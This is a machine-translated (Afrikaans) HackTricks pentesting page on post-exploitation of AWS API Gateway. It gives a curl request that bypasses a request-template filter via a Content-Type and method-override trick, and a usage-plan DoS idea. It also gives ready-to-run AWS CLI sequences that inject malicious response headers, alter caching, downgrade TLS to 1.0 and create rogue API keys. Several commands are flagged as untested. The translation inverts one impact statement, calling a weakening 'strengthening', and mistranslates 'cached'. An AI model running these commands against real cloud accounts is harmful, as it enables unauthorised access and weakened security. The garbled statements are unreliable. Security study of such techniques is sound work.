Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md

7.5 KiB

AWS - API Gateway Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

API Gateway

Vir meer inligting, kyk:

{{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}}

Toegang tot nie-blootgestelde APIs

Jy kan 'n eindpunt skep in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint met die diens com.amazonaws.us-east-1.execute-api, die eindpunt blootstel in 'n netwerk waar jy toegang het (potensieel via 'n EC2 masjien) en 'n sekuriteitsgroep toewys wat alle verbindings toelaat.
Dan, vanaf die EC2 masjien sal jy in staat wees om toegang tot die eindpunt te verkry en dus die gateway API aan te roep wat voorheen nie blootgestel was nie.

Oorbrug aanvraagliggaam pas deur

Hierdie tegniek is gevind in hierdie CTF skrywe.

Soos aangedui in die AWS dokumentasie in die PassthroughBehavior afdeling, is die waarde WHEN_NO_MATCH , wanneer die Content-Type kop van die aanvraag nagegaan word, sal die aanvraag na die agterkant deurgee sonder enige transformasie.

Daarom, in die CTF het die API Gateway 'n integrasiesjabloon gehad wat die vlag verhinder het om uit te lek in 'n antwoord wanneer 'n aanvraag gestuur is met Content-Type: application/json:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

egter, om 'n versoek te stuur met Content-type: text/json sou daardie filter voorkom.

Laastens, aangesien die API Gateway slegs Get en Options toegelaat het, was dit moontlik om 'n arbitrêre dynamoDB-navraag te stuur sonder enige beperking deur 'n POST-versoek met die navraag in die liggaam te stuur en die koptekst X-HTTP-Method-Override: GET te gebruik:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Gebruik Planne DoS

In die Enumerasie afdeling kan jy sien hoe om die gebruik plan van die sleutels te verkry. As jy die sleutel het en dit is beperk tot X gebruike per maand, kan jy dit net gebruik en 'n DoS veroorsaak.

Die API Sleutel moet net ingesluit wees in 'n HTTP kop genoem x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

'n Aanvaller met die regte apigateway:UpdateGatewayResponse en apigateway:CreateDeployment kan 'n bestaande Gateway Response wysig om pasgemaakte koppe of respons sjablone in te sluit wat sensitiewe inligting lek of kwaadwillige skripte uitvoer.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potensiële Impak: Lek van sensitiewe inligting, uitvoering van kwaadwillige skripte, of ongemagtigde toegang tot API-hulpbronne.

Note

Nodig om te toets

apigateway:UpdateStage, apigateway:CreateDeployment

'n Aanvaller met die regte apigateway:UpdateStage en apigateway:CreateDeployment kan 'n bestaande API Gateway-fase wysig om verkeer na 'n ander fase te herlei of die kasinstellings te verander om ongemagtigde toegang tot gekapte data te verkry.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potensiële Impak: Onbevoegde toegang tot gekapte data, onderbreking of onderskep van API-verkeer.

Note

Nodig om te toets

apigateway:PutMethodResponse, apigateway:CreateDeployment

'n Aanvaller met die toestemmings apigateway:PutMethodResponse en apigateway:CreateDeployment kan die metode-respons van 'n bestaande API Gateway REST API-metode wysig om pasgemaakte koptekste of respons-sjablone in te sluit wat sensitiewe inligting lek of kwaadwillige skripte uitvoer.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potensiële Impak: Lek van sensitiewe inligting, uitvoering van kwaadwillige skripte, of ongemagtigde toegang tot API-hulpbronne.

Note

Nodig om te toets

apigateway:UpdateRestApi, apigateway:CreateDeployment

'n Aanvaller met die regte apigateway:UpdateRestApi en apigateway:CreateDeployment kan die API Gateway REST API-instellings wysig om logging te deaktiveer of die minimum TLS-weergawe te verander, wat moontlik die sekuriteit van die API verzwak.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potensiële Impak: Versterking van die sekuriteit van die API, wat moontlik ongeoorloofde toegang toelaat of sensitiewe inligting blootstel.

Note

Nodig om te toets

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

'n Aanvaller met toestemmings apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, en apigateway:CreateUsagePlanKey kan nuwe API-sleutels skep, dit met gebruiksplanne assosieer, en dan hierdie sleutels gebruik vir ongeoorloofde toegang tot API's.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Potensiële Impak: Onbevoegde toegang tot API-hulpbronne, omseiling van sekuriteitsbeheer.

Note

Nodig om te toets

{{#include ../../../banners/hacktricks-training.md}}